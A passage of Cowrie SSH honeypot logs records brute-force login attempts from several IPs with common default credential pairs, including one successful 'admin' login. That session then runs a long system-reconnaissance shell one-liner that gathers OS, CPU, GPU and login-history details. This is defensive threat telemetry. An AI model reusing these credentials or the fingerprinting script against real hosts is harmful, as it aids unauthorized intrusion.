":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:51:57.257119Z","src_ip":"45.156.87.253","session":"c925ae127279","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"neptune","password":"neptune","message":"login attempt [neptune/neptune] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:51:57.501691Z","src_ip":"45.156.87.253","session":"c925ae127279","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:51:58.707463Z","src_ip":"45.156.87.253","session":"c925ae127279","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":49288,"dst_ip":"10.17.0.5","dst_port":22,"session":"a4b145224a7f","protocol":"ssh","message":"New connection: 45.156.87.253:49288 (10.17.0.5:22) [session: a4b145224a7f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:52:00.652862Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:52:00.658259Z","src_ip":"45.156.87.253","session":"a4b145224a7f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:52:00.738969Z","src_ip":"45.156.87.253","session":"a4b145224a7f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"core","password":"P@ssw0rd","message":"login attempt [core/P@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:52:00.982599Z","src_ip":"45.156.87.253","session":"a4b145224a7f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:52:02.067235Z","src_ip":"45.156.87.253","session":"a4b145224a7f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":49300,"dst_ip":"10.17.0.5","dst_port":22,"session":"2d8e0faea682","protocol":"ssh","message":"New connection: 45.156.87.253:49300 (10.17.0.5:22) [session: 2d8e0faea682]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:52:04.051731Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:52:04.055551Z","src_ip":"45.156.87.253","session":"2d8e0faea682","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:52:04.137119Z","src_ip":"45.156.87.253","session":"2d8e0faea682","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pi","password":"root","message":"login attempt [pi/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:52:04.383205Z","src_ip":"45.156.87.253","session":"2d8e0faea682","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:52:05.550194Z","src_ip":"45.156.87.253","session":"2d8e0faea682","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.11","src_port":36870,"dst_ip":"10.17.0.5","dst_port":22,"session":"12933dc1ac04","protocol":"ssh","message":"New connection: 91.92.40.11:36870 (10.17.0.5:22) [session: 12933dc1ac04]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:52:06.662590Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:52:06.731418Z","src_ip":"91.92.40.11","session":"12933dc1ac04","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:52:06.838218Z","src_ip":"91.92.40.11","session":"12933dc1ac04","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin@123","message":"login attempt [admin/admin@123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:52:07.308343Z","src_ip":"91.92.40.11","session":"12933dc1ac04","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":49312,"dst_ip":"10.17.0.5","dst_port":22,"session":"191e76d3ae4e","protocol":"ssh","message":"New connection: 45.156.87.253:49312 (10.17.0.5:22) [session: 191e76d3ae4e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:52:07.417156Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:52:07.420680Z","src_ip":"45.156.87.253","session":"191e76d3ae4e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:52:07.501089Z","src_ip":"45.156.87.253","session":"191e76d3ae4e","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:52:07.641474Z","src_ip":"91.92.40.11","session":"12933dc1ac04","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\"); arch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\"); uptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null); cpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null); cpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null ); last_output=$(last 2>/dev/null); filter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | head -c 250; printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | head -c 250; printf '\\n'; echo '===DONE===' ) 2>&1 ); echo \"UNAME:$uname\"; echo \"ARCH:$arch\"; echo \"UPTIME:$uptime\"; echo \"CPUS:$cpus\"; echo \"CPU_MODEL:$cpu_model\"; echo \"GPU:$gpu_info\"; echo \"LAST:$last_output\"; echo \"FILTER:$filter_output\"","message":"CMD: export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\"); arch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\"); uptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null); cpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null); cpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null ); last_output=$(last 2>/dev/null); filter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | head -c 250; printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | head -c 250; printf '\\n'; echo '===DONE===' ) 2>&1 ); echo \"UNAME:$uname\"; echo \"ARCH:$arch\"; echo \"UPTIME:$uptime\"; echo \"CPUS:$cpus\"; echo \"CPU_MODEL:$cpu_model\"; echo \"GPU:$gpu_info\"; echo \"LAST:$last_output\"; echo \"FILTER:$filter_output\"","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:52:07.644073Z","src_ip":"91.92.40.11","session":"12933dc1ac04","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -m 2 > /dev/null","message":"CMD: uname -s -v -n -m 2 > /dev/null","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:52:07.646775Z","src_ip":"91.92.40.11","session":"12933dc1ac04","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"/bin/uname -s -v -n -m 2 > /dev/null","message":"CMD: /bin/uname -s -v -n -m 2 > /dev/null","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:52:07.650115Z","src_ip":"91.92.40.11","session":"12933dc1ac04","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"/usr/bin/uname -s -v -n -m 2 > /dev/null","message":"CMD: /usr/bin/uname -s -v -n -m 2 > /dev/null","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:52:07.653342Z","src_ip":"91.92.40.11","session":"12933dc1ac04","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"busybox uname -s -v -n -m 2 > /dev/null","message":"CMD: busybox uname -s -v -n -m 2 > /dev/null","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:52:07.657334Z","src_ip":"91.92.40.11","session":"12933dc1ac04","protocol":"ssh"}
{"eventid":"cowrie.command.success","input":"uname -s -v -n -m","message":"Command found: uname -s -v -n -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:52:07.659893Z","src_ip":"91.92.40.11","session":"12933dc1ac04","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"( [ -f /proc/version ]","message":"CMD: ( [ -f /proc/version ]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:52:07.662383Z","src_ip":"91.92.40.11","session":"12933dc1ac04","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"[ -f /proc/version ]","message":"CMD: [ -f /proc/version ]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:52:07.665329Z","src_ip":"91.92.40.11","session":"12933dc1ac04","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"head -1 /proc/version | cut -d -f1","message":"CMD: head -1 /proc/version | cut -d -f1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:52:07.668810Z","src_ip":"91.92.40.11","session":"12933dc1ac04","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"[ -f /etc/os-release ]","message":"CMD: [ -f /etc/os-release ]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:52:07.672086Z","src_ip":"91.92.40.11","session":"12933dc1ac04","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"cloud","password":"1","message":"login attempt [cloud/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:52:07.771664Z","src_ip":"45.156.87.253","session":"191e76d3ae4e","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/4b853a127f8928d65192c11455255f0ba516e72e1a3e5d440915cf9acb1e4c0f","size":356,"shasum":"4b853a127f8928d65192c11455255f0ba516e72e1a3e5d440915cf9acb1e4c0f","duplicate":true,"duration":"0.4","message":"Closing TTY Log: var/lib/cowrie/tty/4b853a127f8928d65192c11455255f0ba516e72e1a3e5d440915cf9acb1e4c0f after 0.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:52:08.028853Z","src_ip":"91.92.40.11","session":"12933dc1ac04","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:52:08.257404Z","src_ip":"91.92.40.11","session":"12933dc1ac04","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:52:08.855633Z","src_ip":"45.156.87.253","session":"191e76d3ae4e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":36976,"dst_ip":"10.17.0.5","dst_port":22,"session":"ff838017e04b","protocol":"ssh","message":"New connection: 45.156.87.253:36976 (10.17.0.5:22) [session: ff838017e04b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:52:10.963792Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:52:10.968662Z","src_ip":"45.156.87.253","session":"ff838017e04b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:52:11.050094Z","src_ip":"45.156.87.253","session":"ff838017e04b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bot","password":"111111","message":"login attempt [bot/111111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:52:11.297060Z","src_ip":"45.156.87.253","session":"ff838017e04b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:52:12.380747Z","src_ip":"45.156.87.253","session":"ff838017e04b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.177.22","src_port":34028,"dst_ip":"159.203.135.109","dst_port":22,"session":"eba8fa5cdbcf","protocol":"ssh","message":"New connection: 162.241.177.22:34028 (159.203.135.109:22) [session: eba8fa5cdbcf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:52:12.954983Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:52:12.962229Z","src_ip":"162.241.177.22","session":"eba8fa5cdbcf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-s